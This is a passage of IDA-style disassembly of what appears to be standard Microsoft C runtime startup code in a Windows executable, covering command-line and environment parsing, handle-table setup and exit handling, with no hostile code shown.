107h retn sub_402900 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_405150 push offset sub_4035A8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call dword_4050D4 ; GetVersion xor edx, edx mov dl, ah mov dword_4070F4, edx mov ecx, eax and ecx, 0FFh mov dword_4070F0, ecx shl ecx, 8 add ecx, edx mov dword_4070EC, ecx shr eax, 10h mov dword_4070E8, eax xor esi, esi push esi call sub_403472 pop ecx test eax, eax jnz short loc_40299A push 1Ch call sub_402A49 pop ecx loc_40299A: ; CODE XREF: .text:00402990j mov [ebp-4], esi call sub_4032C7 call dword_4050D0 ; GetCommandLineA mov dword_4075F8, eax call sub_403195 mov dword_4070D0, eax call sub_402F48 call sub_402E8F call sub_402BB1 mov [ebp-30h], esi lea eax, [ebp-5Ch] push eax call dword_4050CC ; GetStartupInfoA call sub_402E37 mov [ebp-64h], eax test byte ptr [ebp-30h], 1 jz short loc_4029E7 movzx eax, word ptr [ebp-2Ch] jmp short loc_4029EA ; --------------------------------------------------------------------------- loc_4029E7: ; CODE XREF: .text:004029DFj push 0Ah pop eax loc_4029EA: ; CODE XREF: .text:004029E5j push eax push dword ptr [ebp-64h] push esi push esi call dword_4050C8 ; GetModuleHandleA push eax call sub_4020D9 mov [ebp-60h], eax push eax call sub_402BDE mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call sub_402CB3 pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_402BEF ; =============== S U B R O U T I N E ======================================= sub_402A24 proc near ; CODE XREF: sub_402E8F+4Ep ; sub_402E8F+7Dp ... arg_0 = dword ptr 4 cmp dword_4070D8, 1 jnz short loc_402A32 call sub_403680 loc_402A32: ; CODE XREF: sub_402A24+7j push [esp+arg_0] call sub_4036B9 push 0FFh call off_406C60 pop ecx pop ecx retn sub_402A24 endp ; =============== S U B R O U T I N E ======================================= sub_402A49 proc near ; CODE XREF: .text:00402994p arg_0 = dword ptr 4 cmp dword_4070D8, 1 jnz short loc_402A57 call sub_403680 loc_402A57: ; CODE XREF: sub_402A49+7j push [esp+arg_0] call sub_4036B9 pop ecx push 0FFh call dword_4050D8 ; ExitProcess retn sub_402A49 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_402A86 loc_402A70: ; CODE XREF: sub_402A86+17j lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_402A86 ; --------------------------------------------------------------------------- align 10h xor eax, eax mov al, [esp+8] ; =============== S U B R O U T I N E ======================================= sub_402A86 proc near ; CODE XREF: sub_4026F0+6Ej arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00402A70 SIZE 00000005 BYTES push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_402AAB loc_402A98: ; CODE XREF: sub_402A86+23j mov cl, [edx] inc edx cmp cl, bl jz short loc_402A70 test cl, cl jz short loc_402AF4 test edx, 3 jnz short loc_402A98 loc_402AAB: ; CODE XREF: sub_402A86+10j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_402AB6: ; CODE XREF: sub_402A86+5Bj ; sub_402A86+6Aj ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_402AF8 and eax, 81010100h jz short loc_402AB6 and eax, 1010100h jnz short loc_402AF2 and esi, 80000000h jnz short loc_402AB6 loc_402AF2: ; CODE XREF: sub_402A86+62j ; sub_402A86+7Bj ... pop esi pop edi loc_402AF4: ; CODE XREF: sub_402A86+1Bj pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_402AF8: ; CODE XREF: sub_402A86+54j mov eax, [edx-4] cmp al, bl jz short loc_402B35 test al, al jz short loc_402AF2 cmp ah, bl jz short loc_402B2E test ah, ah jz short loc_402AF2 shr eax, 10h cmp al, bl jz short loc_402B27 test al, al jz short loc_402AF2 cmp ah, bl jz short loc_402B20 test ah, ah jz short loc_402AF2 jmp short loc_402AB6 ; --------------------------------------------------------------------------- loc_402B20: ; CODE XREF: sub_402A86+92j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_402B27: ; CODE XREF: sub_402A86+8Aj lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_402B2E: ; CODE XREF: sub_402A86+7Fj lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_402B35: ; CODE XREF: sub_402A86+77j lea eax, [edx-4] pop esi pop edi pop ebx retn sub_402A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B3C proc near ; CODE XREF: sub_402900+12p var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_402B5A mov ecx, off_406C70 movzx eax, word ptr [ecx+eax*2] jmp short loc_402BAC ; --------------------------------------------------------------------------- loc_402B5A: ; CODE XREF: sub_402B3C+10j mov ecx, eax push esi mov esi, off_406C70 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_402B7F and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_402B88 ; --------------------------------------------------------------------------- loc_402B7F: ; CODE XREF: sub_402B3C+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_402B88: ; CODE XREF: sub_402B3C+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_40380C add esp, 1Ch test eax, eax jnz short loc_402BA8 leave retn ; --------------------------------------------------------------------------- loc_402BA8: ; CODE XREF: sub_402B3C+68j movzx eax, word ptr [ebp+arg_0+2] loc_402BAC: ; CODE XREF: sub_402B3C+1Cj and eax, [ebp+arg_4] leave retn sub_402B3C endp ; =============== S U B R O U T I N E ======================================= sub_402BB1 proc near ; CODE XREF: .text:004029C1p mov eax, dword_4075F4 test eax, eax jz short loc_402BBC call eax ; dword_4075F4 loc_402BBC: ; CODE XREF: sub_402BB1+7j push offset dword_406010 push offset dword_406008 call sub_402C99 push offset dword_406004 push offset dword_406000 call sub_402C99 add esp, 10h retn sub_402BB1 endp ; =============== S U B R O U T I N E ======================================= sub_402BDE proc near ; CODE XREF: .text:00402A00p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_402C00 add esp, 0Ch retn sub_402BDE endp ; =============== S U B R O U T I N E ======================================= sub_402BEF proc near ; CODE XREF: .text:00402A1Fp ; sub_402A24+1Cp ; DATA XREF: ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_402C00 add esp, 0Ch retn sub_402BEF endp ; =============== S U B R O U T I N E ======================================= sub_402C00 proc near ; CODE XREF: sub_402BDE+8p ; sub_402BEF+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_407124, edi jnz short loc_402C1D push [esp+4+arg_0] call dword_4050E0 ; GetCurrentProcess push eax call dword_4050DC ; TerminateProcess loc_402C1D: ; CODE XREF: sub_402C00+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_407120, edi mov byte_40711C, bl jnz short loc_402C71 mov eax, dword_4075F0 test eax, eax jz short loc_402C60 mov ecx, dword_4075EC push esi lea esi, [ecx-4] cmp esi, eax jb short loc_402C5F loc_402C4C: ; CODE XREF: sub_402C00+5Dj mov eax, [esi] test eax, eax jz short loc_402C54 call eax loc_402C54: ; CODE XREF: sub_402C00+50j sub esi, 4 cmp esi, dword_4075F0 jnb short loc_402C4C loc_402C5F: ; CODE XREF: sub_402C00+4Aj pop esi loc_402C60: ; CODE XREF: sub_402C00+3Cj push offset dword_406018 push offset dword_406014 call sub_402C99 pop ecx pop ecx loc_402C71: ; CODE XREF: sub_402C00+33j push offset dword_406020 push offset dword_40601C call sub_402C99 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_402C97 push [esp+4+arg_0] mov dword_407124, edi call dword_4050D8 ; ExitProcess loc_402C97: ; CODE XREF: sub_402C00+85j pop edi retn sub_402C00 endp ; =============== S U B R O U T I N E ======================================= sub_402C99 proc near ; CODE XREF: sub_402BB1+15p ; sub_402BB1+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_402C9E: ; CODE XREF: sub_402C99+16j cmp esi, [esp+4+arg_4] jnb short loc_402CB1 mov eax, [esi] test eax, eax jz short loc_402CAC call eax loc_402CAC: ; CODE XREF: sub_402C99+Fj add esi, 4 jmp short loc_402C9E ; --------------------------------------------------------------------------- loc_402CB1: ; CODE XREF: sub_402C99+9j pop esi retn sub_402C99 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402CB3 proc near ; CODE XREF: .text:00402A11p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_402DF4 test eax, eax pop ecx jz loc_402DE8 mov ebx, [eax+8] test ebx, ebx jz loc_402DE8 cmp ebx, 5 jnz short loc_402CE4 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_402DF1 ; --------------------------------------------------------------------------- loc_402CE4: ; CODE XREF: sub_402CB3+23j cmp ebx, 1 jz loc_402DE3 mov ecx, dword_407128 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_407128, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_402DD3 mov ecx, dword_406F00 mov edx, dword_406F04 add edx, ecx push esi cmp ecx, edx jge short loc_402D33 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:406E90h[esi*4] loc_402D2A: ; CODE XREF: sub_402CB3+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_402D2A loc_402D33: ; CODE XREF: sub_402CB3+69j mov eax, [eax] mov esi, dword_406F0C cmp eax, 0C000008Eh jnz short loc_402D4E mov dword_406F0C, 83h jmp short loc_402DBE ; --------------------------------------------------------------------------- loc_402D4E: ; CODE XREF: sub_402CB3+8Dj cmp eax, 0C0000090h jnz short loc_402D61 mov dword_406F0C, 81h jmp short loc_402DBE ; --------------------------------------------------------------------------- loc_402D61: ; CODE XREF: sub_402CB3+A0j cmp eax, 0C0000091h jnz short loc_402D74 mov dword_406F0C, 84h jmp short loc_402DBE ; --------------------------------------------------------------------------- loc_402D74: ; CODE XREF: sub_402CB3+B3j cmp eax, 0C0000093h jnz short loc_402D87 mov dword_406F0C, 85h jmp short loc_402DBE ; --------------------------------------------------------------------------- loc_402D87: ; CODE XREF: sub_402CB3+C6j cmp eax, 0C000008Dh jnz short loc_402D9A mov dword_406F0C, 82h jmp short loc_402DBE ; --------------------------------------------------------------------------- loc_402D9A: ; CODE XREF: sub_402CB3+D9j cmp eax, 0C000008Fh jnz short loc_402DAD mov dword_406F0C, 86h jmp short loc_402DBE ; --------------------------------------------------------------------------- loc_402DAD: ; CODE XREF: sub_402CB3+ECj cmp eax, 0C0000092h jnz short loc_402DBE mov dword_406F0C, 8Ah loc_402DBE: ; CODE XREF: sub_402CB3+99j ; sub_402CB3+ACj ... push dword_406F0C push 8 call ebx ; _lread pop ecx mov dword_406F0C, esi pop ecx pop esi jmp short loc_402DDB ; --------------------------------------------------------------------------- loc_402DD3: ; CODE XREF: sub_402CB3+52j and dword ptr [eax+8], 0 push ecx call ebx ; _lread pop ecx loc_402DDB: ; CODE XREF: sub_402CB3+11Ej mov eax, [ebp+arg_0] mov dword_407128, eax loc_402DE3: ; CODE XREF: sub_402CB3+34j or eax, 0FFFFFFFFh jmp short loc_402DF1 ; --------------------------------------------------------------------------- loc_402DE8: ; CODE XREF: sub_402CB3+Fj ; sub_402CB3+1Aj push [ebp+arg_4] call dword_4050E4 ; UnhandledExceptionFilter loc_402DF1: ; CODE XREF: sub_402CB3+2Cj ; sub_402CB3+133j pop ebx pop ebp retn sub_402CB3 endp ; =============== S U B R O U T I N E ======================================= sub_402DF4 proc near ; CODE XREF: sub_402CB3+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_406F08 cmp dword_406E88, edx push esi mov eax, offset dword_406E88 jz short loc_402E21 lea esi, [ecx+ecx*2] lea esi, ds:406E88h[esi*4] loc_402E16: ; CODE XREF: sub_402DF4+2Bj add eax, 0Ch cmp eax, esi jnb short loc_402E21 cmp [eax], edx jnz short loc_402E16 loc_402E21: ; CODE XREF: sub_402DF4+16j ; sub_402DF4+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:406E88h[ecx*4] cmp eax, ecx jnb short loc_402E34 cmp [eax], edx jz short locret_402E36 loc_402E34: ; CODE XREF: sub_402DF4+3Aj xor eax, eax locret_402E36: ; CODE XREF: sub_402DF4+3Ej retn sub_402DF4 endp ; =============== S U B R O U T I N E ======================================= sub_402E37 proc near ; CODE XREF: .text:004029D3p cmp dword_4075E8, 0 jnz short loc_402E45 call sub_403D5B loc_402E45: ; CODE XREF: sub_402E37+7j push esi mov esi, dword_4075F8 mov al, [esi] cmp al, 22h jnz short loc_402E77 loc_402E52: ; CODE XREF: sub_402E37+33j ; sub_402E37+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_402E6F test al, al jz short loc_402E6F movzx eax, al push eax call sub_403955 test eax, eax pop ecx jz short loc_402E52 inc esi jmp short loc_402E52 ; --------------------------------------------------------------------------- loc_402E6F: ; CODE XREF: sub_402E37+21j ; sub_402E37+25j cmp byte ptr [esi], 22h jnz short loc_402E81 loc_402E74: ; CODE XREF: sub_402E37+52j inc esi jmp short loc_402E81 ; --------------------------------------------------------------------------- loc_402E77: ; CODE XREF: sub_402E37+19j cmp al, 20h jbe short loc_402E81 loc_402E7B: ; CODE XREF: sub_402E37+48j inc esi cmp byte ptr [esi], 20h ja short loc_402E7B loc_402E81: ; CODE XREF: sub_402E37+3Bj ; sub_402E37+3Ej ... mov al, [esi] test al, al jz short loc_402E8B cmp al, 20h jbe short loc_402E74 loc_402E8B: ; CODE XREF: sub_402E37+4Ej mov eax, esi pop esi retn sub_402E37 endp ; =============== S U B R O U T I N E ======================================= sub_402E8F proc near ; CODE XREF: .text:004029BCp push ebx xor ebx, ebx cmp dword_4075E8, ebx push esi push edi jnz short loc_402EA1 call sub_403D5B loc_402EA1: ; CODE XREF: sub_402E8F+Bj mov esi, dword_4070D0 xor edi, edi loc_402EA9: ; CODE XREF: sub_402E8F+30j mov al, [esi] cmp al, bl jz short loc_402EC1 cmp al, 3Dh jz short loc_402EB4 inc edi loc_402EB4: ; CODE XREF: sub_402E8F+22j push esi call sub_402300 pop ecx lea esi, [esi+eax+1] jmp short loc_402EA9 ; --------------------------------------------------------------------------- loc_402EC1: ; CODE XREF: sub_402E8F+1Ej lea eax, ds:4[edi*4] push eax call sub_403DA6 mov esi, eax pop ecx cmp esi, ebx mov dword_407104, esi jnz short loc_402EE3 push 9 call sub_402A24 pop ecx loc_402EE3: ; CODE XREF: sub_402E8F+4Aj mov edi, dword_4070D0 cmp [edi], bl jz short loc_402F26 push ebp loc_402EEE: ; CODE XREF: sub_402E8F+94j push edi call sub_402300 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_402F1F push ebp call sub_403DA6 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_402F12 push 9 call sub_402A24 pop ecx loc_402F12: ; CODE XREF: sub_402E8F+79j push edi push dword ptr [esi] call sub_402810 pop ecx add esi, 4 pop ecx loc_402F1F: ; CODE XREF: sub_402E8F+6Cj add edi, ebp cmp [edi], bl jnz short loc_402EEE pop ebp loc_402F26: ; CODE XREF: sub_402E8F+5Cj push dword_4070D0 call sub_403D77 pop ecx mov dword_4070D0, ebx mov [esi], ebx pop edi pop esi mov dword_4075E4, 1 pop ebx retn sub_402E8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402F48 proc near ; CODE XREF: .text:004029B7p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4075E8, ebx push esi push edi jnz short loc_402F5F call sub_403D5B loc_402F5F: ; CODE XREF: sub_402F48+10j mov esi, offset dword_40712C push 104h push esi push ebx call dword_405038 ; GetModuleFileNameA mov eax, dword_4075F8 mov dword_407114, esi mov edi, esi cmp [eax], bl jz short loc_402F84 mov edi, eax loc_402F84: ; CODE XREF: sub_402F48+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_402FE1 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_403DA6 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_402FB4 push 8 call sub_402A24 pop ecx loc_402FB4: ; CODE XREF: sub_402F48+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_402FE1 mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_4070FC, esi pop edi pop esi mov dword_4070F8, eax pop ebx leave retn sub_402F48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402FE1 proc near ; CODE XREF: sub_402F48+47p ; sub_402F48+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_40300B mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_40300B: ; CODE XREF: sub_402FE1+20j cmp byte ptr [eax], 22h jnz short loc_403054 loc_403010: ; CODE XREF: sub_402FE1+58j ; sub_402FE1+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_403042 test dl, dl jz short loc_403042 movzx edx, dl test byte_4073C1[edx], 4 jz short loc_403035 inc dword ptr [ecx] test esi, esi jz short loc_403035 mov dl, [eax] mov [esi], dl inc esi inc eax loc_403035: ; CODE XREF: sub_402FE1+46j ; sub_402FE1+4Cj inc dword ptr [ecx] test esi, esi jz short loc_403010 mov dl, [eax] mov [esi], dl inc esi jmp short loc_403010 ; --------------------------------------------------------------------------- loc_403042: ; CODE XREF: sub_402FE1+36j ; sub_402FE1+3Aj inc dword ptr [ecx] test esi, esi jz short loc_40304C and byte ptr [esi], 0 inc esi loc_40304C: ; CODE XREF: sub_402FE1+65j cmp byte ptr [eax], 22h jnz short loc_403097 inc eax jmp short loc_403097 ; --------------------------------------------------------------------------- loc_403054: ; CODE XREF: sub_402FE1+2Dj ; sub_402FE1+A5j inc dword ptr [ecx] test esi, esi jz short loc_40305F mov dl, [eax] mov [esi], dl inc esi loc_40305F: ; CODE XREF: sub_402FE1+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4073C1[ebx], 4 jz short loc_40307A inc dword ptr [ecx] test esi, esi jz short loc_403079 mov bl, [eax] mov [esi], bl inc esi loc_403079: ; CODE XREF: sub_402FE1+91j inc eax loc_40307A: ; CODE XREF: sub_402FE1+8Bj cmp dl, 20h jz short loc_403088 test dl, dl jz short loc_40308C cmp dl, 9 jnz short loc_403054 loc_403088: ; CODE XREF: sub_402FE1+9Cj test dl, dl jnz short loc_40308F loc_40308C: ; CODE XREF: sub_402FE1+A0j dec eax jmp short loc_403097 ; --------------------------------------------------------------------------- loc_40308F: ; CODE XREF: sub_402FE1+A9j test esi, esi jz short loc_403097 and byte ptr [esi-1], 0 loc_403097: ; CODE XREF: sub_402FE1+6Ej ; sub_402FE1+71j ... and [ebp+arg_10], 0 loc_40309B: ; CODE XREF: sub_402FE1+19Ej cmp byte ptr [eax], 0 jz loc_403184 loc_4030A4: ; CODE XREF: sub_402FE1+D0j mov dl, [eax] cmp dl, 20h jz short loc_4030B0 cmp dl, 9 jnz short loc_4030B3 loc_4030B0: ; CODE XREF: sub_402FE1+C8j inc eax jmp short loc_4030A4 ; --------------------------------------------------------------------------- loc_4030B3: ; CODE XREF: sub_402FE1+CDj cmp byte ptr [eax], 0 jz loc_403184 test edi, edi jz short loc_4030C8 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_4030C8: ; CODE XREF: sub_402FE1+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_4030CD: ; CODE XREF: sub_402FE1+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_4030D6: ; CODE XREF: sub_402FE1+FCj cmp byte ptr [eax], 5Ch jnz short loc_4030DF inc eax inc ebx jmp short loc_4030D6 ; --------------------------------------------------------------------------- loc_4030DF: ; CODE XREF: sub_402FE1+F8j cmp byte ptr [eax], 22h jnz short loc_403110 test bl, 1 jnz short loc_40310E xor edi, edi cmp [ebp+arg_10], edi jz short loc_4030FD cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_4030FD mov eax, edx jmp short loc_403100 ; --------------------------------------------------------------------------- loc_4030FD: ; CODE XREF: sub_402FE1+10Dj ; sub_402FE1+116j mov [ebp+arg_0], edi loc_403100: ; CODE XREF: sub_402FE1+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_40310E: ; CODE XREF: sub_402FE1+106j shr ebx, 1 loc_403110: ; CODE XREF: sub_402FE1+101j mov edx, ebx dec ebx test edx, edx jz short loc_403125 inc ebx loc_403118: ; CODE XREF: sub_402FE1+142j test esi, esi jz short loc_403120 mov byte ptr [esi], 5Ch inc esi loc_403120: ; CODE XREF: sub_402FE1+139j inc dword ptr [ecx] dec ebx jnz short loc_403118 loc_403125: ; CODE XREF: sub_402FE1+134j mov dl, [eax] test dl, dl jz short loc_403175 cmp [ebp+arg_10], 0 jnz short loc_40313B cmp dl, 20h jz short loc_403175 cmp dl, 9 jz short loc_403175 loc_40313B: ; CODE XREF: sub_402FE1+14Ej cmp [ebp+arg_0], 0 jz short loc_40316F test esi, esi jz short loc_40315E movzx ebx, dl test byte_4073C1[ebx], 4 jz short loc_403157 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_403157: ; CODE XREF: sub_402FE1+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_40316D ; --------------------------------------------------------------------------- loc_40315E: ; CODE XREF: sub_402FE1+162j movzx edx, dl test byte_4073C1[edx], 4 jz short loc_40316D inc eax inc dword ptr [ecx] loc_40316D: ; CODE XREF: sub_402FE1+17Bj ; sub_402FE1+187j inc dword ptr [ecx] loc_40316F: ; CODE XREF: sub_402FE1+15Ej inc eax jmp loc_4030CD ; --------------------------------------------------------------------------- loc_403175: ; CODE XREF: sub_402FE1+148j ; sub_402FE1+153j ... test esi, esi jz short loc_40317D and byte ptr [esi], 0 inc esi loc_40317D: ; CODE XREF: sub_402FE1+196j inc dword ptr [ecx] jmp loc_40309B ; --------------------------------------------------------------------------- loc_403184: ; CODE XREF: sub_402FE1+BDj ; sub_402FE1+D5j test edi, edi jz short loc_40318B and dword ptr [edi], 0 loc_40318B: ; CODE XREF: sub_402FE1+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_402FE1 endp ; =============== S U B R O U T I N E ======================================= sub_403195 proc near ; CODE XREF: .text:004029ADp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_407230 push ebx push ebp mov ebp, dword_4050B8 push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_4031E3 call ebp ; dword_4050B8 mov esi, eax cmp esi, ebx jz short loc_4031C4 mov dword_407230, 1 jmp short loc_4031EC ; --------------------------------------------------------------------------- loc_4031C4: ; CODE XREF: sub_403195+21j call dword_4050BC ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz loc_4032BE mov dword_407230, 2 jmp loc_403272 ; --------------------------------------------------------------------------- loc_4031E3: ; CODE XREF: sub_403195+19j cmp eax, 1 jnz loc_40326D loc_4031EC: ; CODE XREF: sub_403195+2Dj cmp esi, ebx jnz short loc_4031FC call ebp ; dword_4050B8 mov esi, eax cmp esi, ebx jz loc_4032BE loc_4031FC: ; CODE XREF: sub_403195+59j cmp [esi], bx mov eax, esi jz short loc_403211 loc_403203: ; CODE XREF: sub_403195+73j ; sub_403195+7Aj inc eax inc eax cmp [eax], bx jnz short loc_403203 inc eax inc eax cmp [eax], bx jnz short loc_403203 loc_403211: ; CODE XREF: sub_403195+6Cj sub eax, esi mov edi, dword_4050C0 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; dword_4050C0 mov ebp, eax cmp ebp, ebx jz short loc_403262 push ebp call sub_403DA6 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_403262 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; dword_4050C0 test eax, eax jnz short loc_40325E push [esp+18h+var_8] call sub_403D77 pop ecx mov [esp+18h+var_8], ebx loc_40325E: ; CODE XREF: sub_403195+B9j mov ebx, [esp+18h+var_8] loc_403262: ; CODE XREF: sub_403195+99j ; sub_403195+A8j push esi call dword_4050C4 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_4032C0 ; --------------------------------------------------------------------------- loc_40326D: ; CODE XREF: sub_403195+51j cmp eax, 2 jnz short loc_4032BE loc_403272: ; CODE XREF: sub_403195+49j cmp edi, ebx jnz short loc_403282 call dword_4050BC ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz short loc_4032BE loc_403282: ; CODE XREF: sub_403195+DFj cmp [edi], bl mov eax, edi jz short loc_403292 loc_403288: ; CODE XREF: sub_403195+F6j ; sub_403195+FBj inc eax cmp [eax], bl jnz short loc_403288 inc eax cmp [eax], bl jnz short loc_403288 loc_403292: ; CODE XREF: sub_403195+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_403DA6 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4032A8 xor esi, esi jmp short loc_4032B3 ; --------------------------------------------------------------------------- loc_4032A8: ; CODE XREF: sub_403195+10Dj push ebp push edi push esi call sub_402380 add esp, 0Ch loc_4032B3: ; CODE XREF: sub_403195+111j push edi call dword_4050E8 ; FreeEnvironmentStringsA mov eax, esi jmp short loc_4032C0 ; --------------------------------------------------------------------------- loc_4032BE: ; CODE XREF: sub_403195+39j ; sub_403195+61j ... xor eax, eax loc_4032C0: ; CODE XREF: sub_403195+D6j ; sub_403195+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_403195 endp ; =============== S U B R O U T I N E ======================================= sub_4032C7 proc near ; CODE XREF: .text:0040299Dp var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_403DA6 mov esi, eax pop ecx test esi, esi jnz short loc_4032E7 push 1Bh call sub_402A24 pop ecx loc_4032E7: ; CODE XREF: sub_4032C7+16j mov dword_4074E0, esi mov dword_4075E0, 20h lea eax, [esi+100h] loc_4032FD: ; CODE XREF: sub_4032C7+52j cmp esi, eax jnb short loc_40331B and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4074E0 add esi, 8 add eax, 100h jmp short loc_4032FD ; --------------------------------------------------------------------------- loc_40331B: ; CODE XREF: sub_4032C7+38j lea eax, [esp+54h+var_44] push eax call dword_4050CC ; GetStartupInfoA cmp word ptr [esp+54h+var_14+2], 0 jz loc_4033F7 mov eax, [esp+54h+var_10] test eax, eax jz loc_4033F7 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_403351 mov esi, eax loc_403351: ; CODE XREF: sub_4032C7+86j cmp dword_4075E0, esi jge short loc_4033AB mov edi, offset dword_4074E4 loc_40335E: ; CODE XREF: sub_4032C7+DAj push 100h call sub_403DA6 test eax, eax pop ecx jz short loc_4033A5 add dword_4075E0, 20h mov [edi], eax lea ecx, [eax+100h] loc_40337C: ; CODE XREF: sub_4032C7+CFj cmp eax, ecx jnb short loc_403398 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_40337C ; --------------------------------------------------------------------------- loc_403398: ; CODE XREF: sub_4032C7+B7j add edi, 4 cmp dword_4075E0, esi jl short loc_40335E jmp short loc_4033AB ; --------------------------------------------------------------------------- loc_4033A5: ; CODE XREF: sub_4032C7+A4j mov esi, dword_4075E0 loc_4033AB: ; CODE XREF: sub_4032C7+90j ; sub_4032C7+DCj xor edi, edi test esi, esi jle short loc_4033F7 loc_4033B1: ; CODE XREF: sub_4032C7+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_4033EE mov cl, [ebp+0] test cl, 1 jz short loc_4033EE test cl, 8 jnz short loc_4033D0 push eax call dword_4050A0 ; GetFileType test eax, eax jz short loc_4033EE loc_4033D0: ; CODE XREF: sub_4032C7+FCj mov eax, edi mov ecx, edi 